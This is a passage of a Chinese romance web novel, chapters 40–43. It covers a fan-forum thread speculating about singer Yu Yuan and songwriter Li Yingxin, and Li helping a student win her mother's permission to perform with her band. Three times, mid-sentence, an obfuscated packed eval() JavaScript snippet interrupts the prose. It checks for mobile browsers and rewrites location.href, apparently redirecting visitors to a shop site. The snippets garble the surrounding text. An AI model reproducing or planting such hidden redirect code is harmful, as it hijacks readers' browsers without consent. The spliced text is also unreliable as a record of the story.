俞沅去开门,李萤心在客厅悄咪咪探个头看,看见俞沅团队的几个人堵在门口,有人捧着蛋糕有人抱着花有人提了一大袋零食,小宋哥手上拿着彩带,大声说:“祝我们俞沅老师生日快乐!” 俞沅:“…………谢谢。” 李萤心“扑哧”一下笑了,他没给俞沅准备惊喜,但俞沅的朋友给他准备惊喜了。 人都来了,还是给他庆生的,总不能把人立刻轰出去,俞沅把人迎进来,小宋哥看见屋里的李萤心,眼睛亮了亮:“水晶老师也在啊!那太好了,多个人更热闹。” 然后这群人在俞沅家待到了凌晨四点。 终于把人送走的时候,李萤心十分疲惫道:“算了直接睡吧,我困得发晕。” 俞沅:“……好。” 40.第四十章 被友人、工作伙伴撞见,李萤心已感到分外刺激,他不知道还有更刺激的,其实没有能包住火的纸,还是之前那个小众乐迷论坛里,有个帖子已经盖成了高楼。 这个一直飘在最顶上的帖子标题是“流星相关,芋圆新微博大合照里和他穿同款睡衣的是水晶吧”。 楼主:昨天芋圆过生日,今天他发微博营业,文案没啥好说的,照片看起来也是朋友或者工作室的人在他家给他开party之类,还有大合照。合照里小圆给所有人贴心地贴上了小动物头的贴纸,但楼楼我啊还是感觉有点猫腻。 [图片][图片][图片][图片] 大家看一下图一我截出来穿睡衣坐芋圆旁边这个人,和后面几张以前夜这星在livehouse演完和观众的大合照,请问发现什么了没有?唯独水晶很爱在大合照的时候两只手挪到左脸旁边,用两个食指比叉。 大半夜的,在芋圆家里穿着睡衣,合照和芋圆一起坐在C位,什么意思我请问? 1L:给朋友过生日呗,能有什么意思?不过关系确实挺好的,以前以为闹掰意难平的友友们现在应该感觉通体舒畅吧~ 2L:特别开心,不过现在看到这个帖子感觉倒不是很意外,也没有什么活久见的感觉,毕竟你圆三首新歌基本都是水晶写的,所以感觉两人关系一直挺好的吧。 4L:感情也太好了吧,之前那个楼的友友不是猜水晶在鲤州有一份本职工作吗?这也不是休息日,芋圆平时在上海吧,他还专门请假飞过去呢。 12L:回楼上的……其实芋圆飞得更频繁[笑哭] 13L:此话怎讲? 14L:黄牛那里都买得到航班信息啊,其实大粉很多都知道芋圆最近频繁飞鲤州,但是圆家打私生打得特别狠,也就零星几张机场图在私下流传而已,粗略算了下两个月飞了可能有十几次,还有几次是当天往返那种,吓人。 15L:…… 16L:…… 20L:…… 23L:请问芋圆在鲤州是有什么重要业务吗所以要这么频繁地过去? 25L:跟朋友关系好也不至于这么……吧。 29L:可能是因为水晶要给芋圆写新歌,为了把控歌曲质量所以芋圆要经常过去听曲子编得怎么样了[狗头] 30L:楼上的,有一种东西叫互联网……他们要是想听歌想沟通,在网上就能完成…… 31L:所以我加了狗头啊[狗头] 33L:我是CP脑,我感觉他们在谈。 …… 219L:能说吗,不能说我等会儿去申删。就我朋友的朋友之前去看哥哥们加班的录制,她说水晶应该是来了的哈哈哈,刚好就在她隔壁,她一开始以为是普通男粉,后面觉着应该是水晶,当然她也不是百分百确定啦orz 但她说他看芋圆表演的时候那个样子也不像普通粉丝那种狂热欣赏,也不是梦男梦女那种迷恋,原话是“我也不知道怎么说,总感觉他下一秒就要哭了,既欣慰又感动的样子,反正充满了和我们不一样的爱意(不是)” 然后芋圆在现场表白完乐队成员又表白了水晶,现场其他观众都在嗷嗷欢呼,疑似水晶的那位男子只是低着头笑。不过这段节目正片里是没有啦,被剪掉了。 220L:啊芋圆提到乐队的这一段我看别人repo过的。 222L:之前就有一栋楼是说芋圆提起乐队的,实际上这几首歌还是他们哥几个录的,还蛮好奇既然他们都一起录歌了为什么不一起登台呢?是因为合约之类的吗? 223L:219L说的节目有给观众席镜头吗?谁去找一下? 240L:我刚好在回味那几个舞台,刷到这个帖子拉了一下进度条,这一期被给了特写的观众里应该是没有水晶……不过有那种全景。 [图片]大家看一下这个像不像水晶? 248L:笑死我了最近的帖子只要跟水晶有关,十个有八个都是问这个是不是水晶,本论坛已然成为大型认水晶游戏论坛。 249L:最近水晶的存在感真的很高……其实我感觉最微妙的是最近多了很多因为《神意》以及论坛的各种考古楼喜欢上水晶的,虽然是好事,但是总忍不住幻想如果当初就有那么多喜欢水晶的人就好了qwq 250L:而且他好像根本不知道现在挺多人喜欢他还每天发一些白月光招魂帖。。。怎么没有媒体采访芋圆的时候骑脸问他水晶的事?跟水晶传达一下啊!让他出来发条微博也好啊啊啊啊! 251L:话说240L那图台下那个就是水晶吧。 256L:好甜,为你写歌,在台下看你表演,飞来飞去地见面,这要不是真爱我就去跳楼了。 257L:他超爱,他也超爱。 260L:唉其实抛开这些乱七八糟的不讲,水晶能继续创作而且还突破了以前固有的风格我觉得真的特别好,俞沅的演绎也很神,非常有志怪神话的感觉……!可以说《神意》这首歌就是顶级的创作加上顶级的表演才有之前破圈的效果,另外两首目前只有录音室版的可以听,好想快点看到现场啊,不知道现场会怎么编排TvT …… 316L:说实话芋圆最近的微博也都很不对劲,经常写点似是而非的话拍点奇怪的照片,比如这个,他拍了一个兔子警官的对讲机,配文说什么喂喂喂你在做什么呀,嗲得要死,粉丝还说他怎么学会媚粉了……然后有人说他可能是谈了,因为尼克狐和Judy一般都是被当作情侣元素的,这对讲机也有另一只,不知道在谁手上。 行程这个我关注的一些圆丝也涛过,一开始也是在想是不是找嫂子去了,但是因为鲤州只有水晶没有别人,大家觉得奇怪但也没再说什么。现在一想,万一嫂子是水晶呢? 317L:哈哈哈哈哈今天这个谣我就要造了,我也觉得嫂子就是水晶。 318L:我支持。 320L:虽然说艺人明星的CP一般都是假的,但感觉俞沅没必要跟一个已经在幕后的创作人/乐手卖腐,那就说明是真的。 321L:楼上的申删一下吧,你打了真名。然后我想说没有半点卖腐痕迹啊,卖腐都是刻意引导大家去嗑的,这种暗戳戳的很多都是真CP[狗头] 322L:啊还是多卖点吧,我就喜欢看俩帅哥卖腐,真真假假的都无所谓……真的我也不在意,反正滚人里面男同多了去了,假的我也不在意,反正卖点来让我爽爽就行…… 326L:前面有人说他们关系一直很好,我倒觉得未必,按现在他俩这偷偷藏不住的样子,要是之前也一直关系好的话不至于一点蛛丝马迹都找不到,应该是掰过又和好了。 328L:随便啦,不管他们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137200|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么关系反正只要一直写好歌唱好歌我就会一直溺爱[比心],再许愿一下乐队舞台~ …… 449L:这楼怎么从大合照歪成这样了,后面翻来覆去涛这么多,其实主楼的合照不就够明显了吗?朋友们去小夫妻家里给他们开Party,让我们一起祝福圆晶99好吗好的。 450L:圆晶99 451L:圆晶99 452L:圆晶99 …… 后来这个帖子被举报删帖了,热心人士在举报帖里写的理由是“水晶老师现在是素人但帖子过度讨论素人隐私,他去看节目没有被特写在芋圆微博里也被打码就是因为不想被认出来你们还这样一直扒真是太过分了”,但不论如何,渐渐的,老乐迷也好,俞沅后来的粉丝也罢,嗑CP也好,看热闹也罢,都一致认为水晶在俞沅心里是一个非常特别的存在。 李萤心对此一无所知,他回到鲤州,继续上这倒计时仅剩两个月不到的班。 一年一度的元旦晚会又要到来,接到筹办晚会的通知以后,李萤心和上学期搞艺术节时一样,趁着班会课说了这件事。 这学期李萤心依然保持以往的教学作风,没拦着孩子们自行发展什么课余爱好,但主要还是狠抓教学,不过可能是看上学期李老师实际上对搞节目的学生还挺支持的,于是这次主动报名参加元旦晚会初筛的学生多了好几个。 有唱歌的,有想表演迅速恢复魔方的,还有准备和其他班同学一起搞cosplay走秀的。 上学期那支“还没想好叫什么乐队”又一次前来报名,还是在课间,在办公室里,徐斐然作为代表在报名表上写下了他们的信息。填完后徐斐然没有马上走,李萤心拿起报名表一看,先是问她:“怎么过了这么久你们还没想好叫什么乐队?” 徐斐然嘿嘿笑:“要不老师给我们起一个?” 李萤心喝了一口茶:“叫‘全都考上985’。” 徐斐然:“……” 其实这表上还多了点信息,比如表演人里多了两个外班的学生名字,再比如节目名字不是待定了,上面写了《神游》。 这孩子真是特别喜欢俞沅啊。 李萤心顺道问了:“你们乐队这学期多了两个人?” 徐斐然点头:“她们两个也是我朋友,一个会吹笛子一个会弹古筝。” 李萤心故意问了个很小白的问题:“你们这种乐队不是玩摇滚吗?怎么还要找人吹笛子和弹古筝?” 徐斐然皱了皱鼻子,一副欲言又止的模样,最后还是说:“就……我们表演的这首歌,它有需要吹笛子和弹古筝的地方。” 李萤心:“这样啊,行吧,那你们加油。” 徐斐然:“那老师我先回去上晚自习了。” 李萤心摆摆手:“去吧。” 徐斐然走了两步,又转过头,不走了。李萤心问她:“你还有什么事吗?” 徐斐然磕磕绊绊道:“老师……你有空也可以听一下这首《神游》,可好听了,我非常非常非常喜欢。然后这首歌所在的专辑虽然只有三首歌,但我觉得每一首都很好,呃我语文不好,不知道要怎么夸……” 李萤心愣了愣,随后对着学生展颜:“对着语文老师说你语文不好什么意思?……谢谢你的推荐,我有空会听的。” 徐斐然头也不回地跑了。 41.第四十一章 徐斐然那支乐队上次在艺术节上表现优异,这次也很快被选上参加元旦晚会的演出。原本一切都进行得很顺利,学生该排练就排练,李萤心偶尔也会去看一眼。 直到某个周日晚,返校日,覃思明来办公室找他,说他们乐队可能要退出元旦晚会了。 覃思明是他们之中的主唱,但平时有什么事都是徐斐然来找他对接,李萤心还挺诧异这回换了人来跟他说。他问:“怎么回事?” 覃思明说:“徐斐然她……她妈妈发现她在玩乐队,很生气,把她的琴没收了。” 他讲明来龙去脉,说徐斐然她妈本来管她就管得很严,几乎不让她做任何跟学习无关的事,她玩乐队这事就挺地/下/党的,琴是攒了很多年的压岁钱买的,平时她也不会把琴放家里,之前放同学家,最近要排练了就放在学校排练室。 但因为想多练点,又恰逢她妈周末出差,她就怀着侥幸心理把琴带回家练了,结果被提前回家的妈妈抓个正着。 李萤心头有点痛。作为班主任,徐斐然家里的情况他也是知道的,她父母离异,家里基本靠她母亲,好在她妈妈是企业高管,收入挺高,没什么太大的经济负担,主要矛盾就在于她妈妈是个控制欲比较强的家长。 之前徐斐然看演唱会那事也是,她妈妈发现以后就把她买的票退了。 于私,李萤心当然是不希望这节目好端端的就取消,于公,他也不应该过多干涉别人的家庭教育……其实也不是,发生这种事,学生情绪必然好不了,干预学生的情绪也是班主任工作的一部分,这种时候进行一些家校沟通也很有必要…… 但他此刻也不能给孩子们打什么保票,只好先对覃思明说:“你们这节目排得挺好的,说不演就不演实在很可惜……你回去先开解一下她,你们其他几个同学也别因为这件事情想太多,别影响到正常的学习生活,老师也再想想办法。” 只是在李萤心想找徐斐然妈妈沟通之前,对方就先一步来了学校。 李萤心被叫去了年级主任办公室,一进门看见主任和徐斐然妈妈已经交谈上了,两人都笑呵呵的,不知道的以为氛围有多和睦。 徐妈妈是名职业女性,看起来干练犀利,她面带微笑和李萤心打招呼,等李萤心也坐下了,此人依旧语带笑意地说话,内容却十分强势。 “学校搞些文娱活动丰富学生们的课余生活,作为家长我是完全理解和支持的,但我们家斐然确实没这个天分,就还是不登台献丑了。”说着她还拿出自己打印的徐斐然近一年考试的成绩单,“据我所知,原来她上学期也已经偷偷开始参加这些活动了,从成绩来看,参加这些活动也的确影响了她的学习,原本她在外面上补习,成绩应该远不如此。” 李萤心下意识想说一边挤时间练琴一边能有这样的成绩已经很了不起了,虽然还是高中生,但她真的很擅长分配时间和高效学习,但话说出口前,想到人家家长就是反对徐斐然玩乐队,他如果这样说,家长完全可以用一句“那她如果不玩乐队不就能花更多时间将分数提到更高了吗”来堵住他的嘴。 正当他想着该怎么劝时,徐妈妈跟看透一切似的,又说:“我知道老师您可能会想学生也应该有些课余爱好,劳逸结合,可能也会为了孩子们惋惜,觉得都准备到这个份上了就算以后不让她玩,这次也该让她演完吧……我其实觉得很抱歉,但我认为少了她一个,节目也是能继续进行下去的。 “我也不反对孩子们有正当的爱好放松一下,前提是这得是正当的爱好——也许是我有些偏见,但我经常听说玩乐队搞摇滚的人私生活一团糟,就算不是每个人都是这样,但我孩子才十六岁,我不敢让她冒一点点险。她现在或许三分钟热度喜欢上这个东西,但只要不让她玩,慢慢的她就没兴趣了,我的孩子,我最了解了。 “总之……我这次来给老师和主任添麻烦了,但我不希望斐然再出现在任何这种活动中了。” ……她没有给其他人插嘴或者反驳的机会,完全就是那句“这是通知,不是商量”。 主任笑呵呵地附和说“是,是”,见李萤心还要说什么,转过去使眼色拦下了他。等家长走了,主任又跟李萤心说:“这种情况你还劝什么呢?家长有什么要求只要不是太离谱的我们尽量满足就好了,何况一个节目而已,那还有些报名了没选上的呢,就当这小孩也没选上不就行了,别给自己找事……小孩嘛,自己消化几天就好了。” 大概是因为已经辞了职也走好了流程,只等着学期结束走人,李萤心的心态同往日大不相同。他想着刚刚在家长面前已经给够了主任面子,暂时没驳什么——毕竟他走了可以不用再面对家长,主任和其他老师以后免不了要和家长打交道,闹僵了以后也不好开展工作——现在家长走了,他懒得给主任脸了,也没有平时的沉稳和得体,直接反问一句:“小孩小孩,哪个大人不是从小孩过来的?” 李萤心平时从不这样,主任也被他问懵了,半天才“欸”一句:“怎么参加工作这么久还这么学生气??” 李萤心没继续在这个话题上和主任纠缠,说了句“主任我先回去备课了”就走了。 整个下午他脑子里都还在想这事,当时对着徐妈妈没有说什么一是氛围使然,二是面对这样思路清晰且强硬的人不能她说一句你驳一句,很容易被她带着跑,最后你的所有反驳都变成她论据成立的理由。 但没有当面反驳,绝不代表他认为这家长说的是对的……他还想再努力一下。 即便主任那样说在某种程度上也是圆滑处世的一种方式,他明白,他以前或多或少也按照这样的方式行事过。 可是……反正他也要辞职了,给自己找点事也不是不行吧。 师者传道授业解惑,平时天天在课堂上灌鸡汤说同学们你们要为了自己的理想而奋斗,当学生有了理想,却告诉人家你只能为了成绩奋斗……这在李萤心看来一点惑没给人解到,反而让学生心生了很多茫然。 但要怎么争取,他还得想一下。 晚自习期间徐斐然他们都没来,应该还是拿着之前开的条子躲排练室去了,虽然说要退出晚会,但估计他们现在内部也正焦头烂额。李萤心决定去一趟排练室看看。 果然李萤心去的时候,碰见他们正在为了到底要不要退出而争执,见到老师来之前他们吵得不可开交,老师来了,全场静了,李萤心问:“徐斐然妈妈下午来了,她的意见我大概也知道,想听听你们几个是怎么想的。” 徐斐然抱膝靠墙坐着,垂着头,声音有点哑,说不定是哭过,她道:“我能有什么想法,琴都没了,而且我妈下午找完老师也来找我了,反正我是不可能再上了……但其他人都练那么久了,我想让他们上,覃思明非要在那说要退就一起退。” 覃思明语气很冲:“本来就是要退就一起退啊,贝斯手都没了演个啥啊,还说什么没贝斯也能演大不了放伴奏,又不是平时你说贝斯手是乐队灵魂没了贝斯的演奏根本听不下去的时候了?!” 队里的吉他手王诗恩着急道:“哎呀别吵了,琴没了我们看看能不能再去外面租一把嘛,大家凑一凑钱……” 徐斐然摇头:“不是租一把琴的问题啊,我妈说了,她跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151133|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁主任和李老师都打过招呼了,名单上没我了,我上不了台了。” 几个学生齐齐看向李萤心,都恳求他:“老师你就让斐然上吧。” 张逸驰在后面拿着两根鼓棒有一搭没一搭地敲,刚才他一直没说话,现在也开始瞎出主意:“老师如果同意的话,就偷偷让徐斐然上呗,浑水摸鱼,别让她家长知道就行。” 徐斐然先李萤心一步说话:“你们别为难老师了,就算他同意,主任也不能同意啊,你说的什么浑水摸鱼偷偷上去,要是被发现了,李老师也会很麻烦的。” 张逸驰:“确实,别害了李老师。” 李萤心叹了口气,怎么说呢,这个办法从理论上来说其实还真不是不行,学生们总容易把学校的规章和领导的话当作不可逾越的权威,并且觉得反抗的后果会特别严重,但其实也还好…… 首先说是名单里没她了,但就算她去排练甚至到时候直接上台,也没有人会一个个核对名单说啊这个人不在名单里禁止她上去。其次主任可能压根不知道徐斐然长什么样,她上去演完下来只要没人跟他说那是徐斐然,他大概率不会知道表演的学生是谁……甚至过几天主任可能都不记得有这么个家长来找过。 这样操作下来,如果家长没发现那是皆大欢喜,哪怕真的演完被家长发现了来学校,他李萤心已经辞职了,到时候把之前的同事家长们联系方式一删,不用面对徐斐然口中的“麻烦”……当然这对别的来接盘的老师来说可能就是一次无妄之灾,李萤心不会让孩子们真这样做。 更何况这样虽然看着很叛逆很摇滚,其实治标不治本,说不定还会让徐斐然她妈更讨厌这项活动以及她的这群朋友。 李萤心说:“你们先练着,也别太悲观。” 覃思明犟起来了:“我不练,没贝斯手我不练。” 徐斐然:“那我去给你找个贝斯手?” 覃思明:“不要……而且你之前不是说整个三中就你一个会弹贝斯?” 徐斐然:“万一能找到其他隐藏的贝斯手呢?因为贝斯手都很没存在感所以平时都是隐身状态……”她这时候还要坚持讲贝斯笑话,但并没有一个人笑,于是她有些尴尬地接着道,“大不了找找校外的嘛。” 最后徐斐然用一种近乎乞求的语气说:“你们把这节目演完吧,说不定这是我第一次也是最后一次组乐队,就算我不在,我也想看你们其他人在台上把我们的成果展现出来……确实为了演出效果还需要一个贝斯手,我会想办法的。” 覃思明:“但这个贝斯手不是你的话又有什么意义呢?” 徐斐然反问:“怎么会没有意义呢?” 王诗恩本来也坐在徐斐然旁边,这时候把头埋到徐斐然脖颈间,肩膀一抽一抽地啜泣了起来。 李萤心:“……”唉这搞的,要不他来弹行了吧……当然这是不可能的。 回去以后李萤心跟俞沅视频,把这件事跟他说了,说真是烦得要死,到底有什么办法能说服对方家长?还是说自己实在没什么好方法的话就别管这闲事了? 俞沅对徐斐然很有印象,给人家起了个外号叫“你的继承人”,被李萤心吐槽“她继承我什么了她连我科代表都不是”,俞沅坚持说“但她指法和造型都在模仿你”。 两人又说了半天,俞沅也一直在想:“要不哥把她之前成绩数据什么的也发给我看下?她妈妈不是说她成绩没进步么,但我觉得也不一定,她们那种在企业里当管理的都喜欢让人用数据说话,我们老板也这样,数据上能说服她的话,说不定有点用?我也不确定,但我们可以试试。” 42.第四十二章 李萤心往后一仰,靠在椅背上,长叹一口气:“有用吗?有些家长油盐不进的。” 耳机里传来俞沅轻声的笑:“有没有用你不都想试试么,不然也不会这么烦了。” 李萤心说:“也是……今天我还被主任教育了,让我别给自己找事。” 俞沅:“怎么会是找事,你想做的事就是要紧的事……而且我觉得有个细节,就是你那继承人她妈妈只是没收了她的琴,也没说直接把琴砸了,一般来说有没收就有个归还的期限……当然也不排除她想把琴转送给别人或者放网上卖了。” “有道理,成绩数据我明天再拉个表看看吧,顺便也再找学生聊聊,”李萤心终于也笑了,语气变得轻佻,“哎呀,还是你好,贴心小棉袄似的。” 俞沅:“什么乱七八糟的比喻?” 李萤心:“不喜欢这个棉袄塑吗?” 俞沅:“热死你。” 李萤心哈哈笑完,从靠着转为坐起来了些,凑近放在桌上用支架架住的手机,盯着屏幕上俞沅的脸看,又用手指去戳屏幕上的脸。 俞沅说:“干什么,真把我当电子宠物了吗?” 李萤心:“没有啊,感觉幸福,戳一下。” 俞沅:“见不到面也幸福吗?” “你不幸福吗?”李萤心问,“我之前想看你也只能看屏幕里的,你看着镜头,好像也在和我对视,实际上你在和每一个看到你的物料的人在对视,就像我上课的时候也会给每个搞小动作的学生一种我在盯着他们看的错觉。但是现在你在屏幕里只跟我互动。” 俞沅:“原来李老师那么关注我。” 李萤心:“嗯哼。” “老师等我一下。”说完这声,俞沅起身从镜头里出去了,过了一会儿抱着把民谣吉他重新过来了,“这是我用课余时间学的课外知识,老师帮我听一下可以吗?” 李萤心故意说:“有些同学不要占用老师休息时间。” 俞沅:“先占了,之后我再补检讨吧。” 说完他低下头开始拨弦,一边唱:“还没好好地感受/雪花绽放的气候/我们一起颤抖/会更明白/什么是温柔……” 啊,是《红豆》。 和歌词同样温柔的声音也如水一般淌到了李萤心耳朵里。 李萤心跟着左右晃了起来,打起了拍子。 “……可是我有时候/宁愿选择留恋不放手/等到风景都看透/也许你会陪我看细水长流。” 一首歌唱完了,李萤心鼓起掌,虽然说得夸张但也是真心话:“非常厉害,以后去当歌星吧小沅同学。” 无论听多少次,哪怕通过视频通话传来的声音被压缩得有一点点失真,李萤心始终认为这把声音得天独厚,不管从哪个角度想都觉得自己太赚了,以前想的总是他要写最好的歌配这最好的声音,让全世界都听到,现在又想,全世界都能听到的声音,有时只为他一个人唱。 他又说:“谢谢你。” “不客气,还想听什么可以点歌,等过阵子见面了我再给李老师展示一下学习成果。”俞沅说,“现在就早点休息吧。” 李萤心:“好,晚安。” 俞沅:“晚安宝宝哥哥。” 李萤心本来还挺美滋滋的,一下把脸皱了起来:“……你差不多得了!” ——上次见面,李萤心和包成一个粽子的俞沅去逛超市,俞沅推着购物车,装作不经意实则很刻意地说了句“宝宝帮我拿一下那盒牛肋排”,李萤心当即像被点了穴一样站定在原地,整个人都快冒烟,并且强烈表示不要叫这种很肉麻也不太符合他年纪的称呼。 俞沅则说,可是别人谈恋爱都有爱称什么的,以此显示彼此在各自心中和其他人有别。李萤心说我们还需要一个称呼来证明这个?总之不许俞沅再叫了,就算要叫也不要叫这个。 俞沅问那叫什么,李萤心说就规规矩矩地叫哥不好吗?不要忘记你的身份,你就是个弟弟。 俞沅当时就说,好的明白了,宝宝哥哥。 气得李萤心差点一拳过去。 现下聊着聊着,俞沅又故技重施,成功拿捏李萤心,他笑着挂了视频。 留李萤心一个人在屏幕后面又开始红温。 - 后来几天李萤心晚上和俞沅视频干脆用上了会议软件,一个老师一个歌手,开着屏幕共享跟准备向上级做汇报的牛马似的聊得热火朝天。 之前他们老师自己就会对每次考试的数据都进行统计分析,以便调整下一阶段的教学方向,但一般除了需要重点关注的学生,班主任也不会把每个学生每一科都了解得非常到位……不过没关系,系统里都有存档。 李萤心在学校教务系统里把徐斐然近一年大考的成绩具体小分全都拉了出来,重点挑了她妈当时觉得小孩退步或者后来补习完没效果的部分,再把对应的考试试卷也调出来。 俞沅说得对,数据能说明一切。 没查数据之前李萤心还想着说不定真有因为玩乐队受到点影响,看了一下发现其实也没有。上学期别的科目都很平稳甚至有些科目还有点长进,语文倒是很拖后腿,基本都是作文分很低。 但把更之前拿高分的月考作文拉出来对比一下,他就知道怎么回事了。高一上学期徐斐然看见作文题目写“除诗歌外体裁不限”,就很喜欢写八百字微小说,一开始只要是校内考试,改卷的老师都觉得挺新鲜而且她写得也挺有意思,就都愿意给高分。 后来年级组开会说要规范文体,让学生养成写议论文的习惯,不要剑走偏锋,这样到了高考才保险……先不说这种观点到底对或不对,总之徐斐然也按着改了,刚改过来,还没完全适应议论文的写法,有时候写得不太尽如人意分就不高,练多了也好起来了,之后的语文成绩都还不错。 这学期的考试就更好解释了,压根没退步,甚至年级排名还小有长进,只是没达到更高的目标,她妈妈说她周末去参加补习,李萤心找徐斐然聊过,补的地方根本还没考。 而且再把高一上学期的成绩也拉出来,他们发现徐斐然反而是开始练琴之后学习成绩更上了一层楼,据她自己说,因为自己在偷偷练琴,出于一种不想被认为自己在玩物丧志的心理,她对待学业反而比之前要认真很多。 其实也可以反推,不让她玩了说不定她整个人就泄气了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168083|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于徐妈妈关心的另一个问题,玩乐队的是不是素质都不太高……如果不停地举反例说谁谁谁也玩乐队那还不是考上好大学啦之类的话,是毫无说服力的——哪怕李萤心自己本硕都是985,完全可以成为这样的例子。 其实李萤心也觉得这是个在大众心中根深蒂固的印象,毕竟摇滚最重要的一个特质就是叛逆。 只不过有些人是为了叛逆而叛逆,虽然打扮得很摇滚也跟着玩乐器,实际上却不知道自己要的到底是什么,只觉得这样又帅又与众不同,跟着潮流喊一些时髦的口号,将玩乐队作为自己吹嘘的谈资,很嚣张,看不起所有人。 他们披着摇滚的皮做尽堕落的事,美其名曰艺术家的私德总是会有瑕疵,实际上连真正的艺术家的一根毛都比不上。 这本身就很不摇滚……这样的人即便不玩乐队,做别的事也一样会走向深渊。 可有些人的叛逆是因为想让这个世界变得更好,想反抗迂腐的陈规,想让人真正成为人……也许发出这些声音的人还很稚嫩,在歌里表达的观点也不够妥当,但他们在思考,搞错了也会反思,并且愿意用音乐去表达,这就是非常好的叛逆。 或许一个乐手、一支小乐队的力量非常有限,可焉知今日的小乐队哪天就会站上更大的舞台,把他们的声音传遍世界的每个角落? 他相信徐斐然不会是前者,她的妈妈毕竟是爱她的,也是应该相信她的。 把这些东西整理得七七八八,俞沅问李萤心是不是要去找徐斐然家长谈了,李萤心却摇了头。 星期五晚上的晚自习,李萤心把徐斐然叫出来,在走廊上和她谈心。 李萤心交代她:“这周末回去,你自己和你妈妈争取一下。” 徐斐然感到不可思议:“我?”随后她迅速地摆手,“不行的,我之前说要干什么她只会说不行,说这个阶段以学习为重。” 李萤心:“你怎么跟她说的?” 徐斐然回想了一下:“就……比如我之前喜欢看漫画,就保证自己只是课余看看不会影响学习,但是千辛万苦买的一整套台版漫画就被她收走了……” 他把这几天整理的数据交到徐斐然手上,大致说了一下里头的内容,徐斐然接过来翻,自己也都没研究过自己的成绩小分,李老师给她做了这么多! 徐斐然抬起头看李萤心,李萤心说:“你这次回去,把自己当成可以和你妈妈平起平坐的大人,别让她把你当成小孩子,大人有时候控制欲强,出发点可能真的是为你好,因为觉得你是脆弱的小孩,所以需要她的经验来引导你走她认为更稳妥的路。你空口保证自己不会影响成绩没有用,这不是她的经验,她不会相信,你要用实际行动和真实的数据告诉她你确实没有受到影响。” 徐斐然还是很犹豫:“可是万一……” “确实也有这种可能,你妈妈完全不想听你说,结果还是没有改变,你还是没有办法和思明他们一起上台,”李萤心说,“可是最差的结果也就是这样了,你去试试,说不定还有转机。” “而且,是你想弹贝斯,”李萤心最后郑重道,“不管你想做什么事,你都只能依靠你自己把路走出来。” 43.第四十三章 鲤州纬度低,又临海,只要没什么冷空气突然袭击,即便到了十二月气温也常常能达十几度,人套个厚卫衣就能出门,外头异木棉花开得正盛,把街道装点得像粉色的春日。 就在这样的暖冬里,在下一个返校日的晚上,还没正式开始上晚自习之前,徐斐然肿着一双眼来办公室找李萤心。 李萤心看见学生这明显是哭肿的眼,心里先咯噔了一下,又开始后悔是不是不应该让她去争取,虽然他始终认为自己那天说的话没什么问题,但孩子毕竟还小……燃起一些希望想去说服家长,结果又被打击一次…… 这个时间点办公室来来往往都是人,来搬作业的学生,进进出出的各科老师……李萤心担心等会儿说着说着徐斐然情绪崩溃了被别人围观,招招手把她喊进办公室的小茶水间里,带上门。 他还没来得及内耗完,就听见徐斐然笑嘻嘻地说:“老师!我妈同意我把节目演完。” 李萤心:“……”松了一口气,随后一副淡定脸,“那真是恭喜你。” 徐斐然话锋一转:“不过她跟我提了条件,如果期末考数学年级排名没有进步十名以上,她就把我的琴收走……还有她提前说了,高三也是不会让我玩的,问我能不能接受。” 李萤心问:“你怎么说?” “我说我不接受……然后我妈说不接受也得接受,不然这次也别想上台了。”徐斐然说,“我就使用缓兵之计先答应下来了,到时候的事,到时候再想办法。” 李萤心手里拿着个保温杯,他又喝了口茶:“那我也是赞同你妈妈说的,高三最好还是别玩了,不差这一时半会的。” 徐斐然:“……好吧。” “总之很谢谢老师,我以前没有试过这样和我妈谈条件,虽然过程有点激烈……这我就不展开说了,但没想到她最后还是让步了……我已经很满足了。”徐斐然又说,“不过那天老师和我聊过之后,我自己回去又想了一下,其实我知道的不少同学家里都有不讲道理的爸妈,我也没有很抱期待能说服她,但是我觉得老师说得对,是我自己想弹贝斯,我得去争取。” “我觉得这个争取不单是说我去乞求家长准许我玩,我在想不管以后我要做什么事,我都不能很可怜地只能等着别人允许我做……我现在没有能力,所以只能听大人的话,”徐斐然接着道,“所以假设这次我没法说服她,她还是不肯让我玩这些她觉得是玩物丧志的东西,我会很伤心,但我不会沮丧的,我会加倍努力好好学习,上大学或者工作以后自己挣钱,花自己的钱做自己喜欢的事,她可能还会管,但到时候她就管不着了。” 李萤心拍拍徐斐然脑袋:“说得很好啊,为师没有什么可以传授给你的了。” 徐斐然的想法说成熟也成熟,的确超越了不少同龄人,李萤心当教育工作者有好几年,见过好些学生因为家里管得严,就非要和家里对着干,慢慢开始混日子,家长的教育方式确实可能有问题,但孩子浪费了自己的资质也真是可惜…… 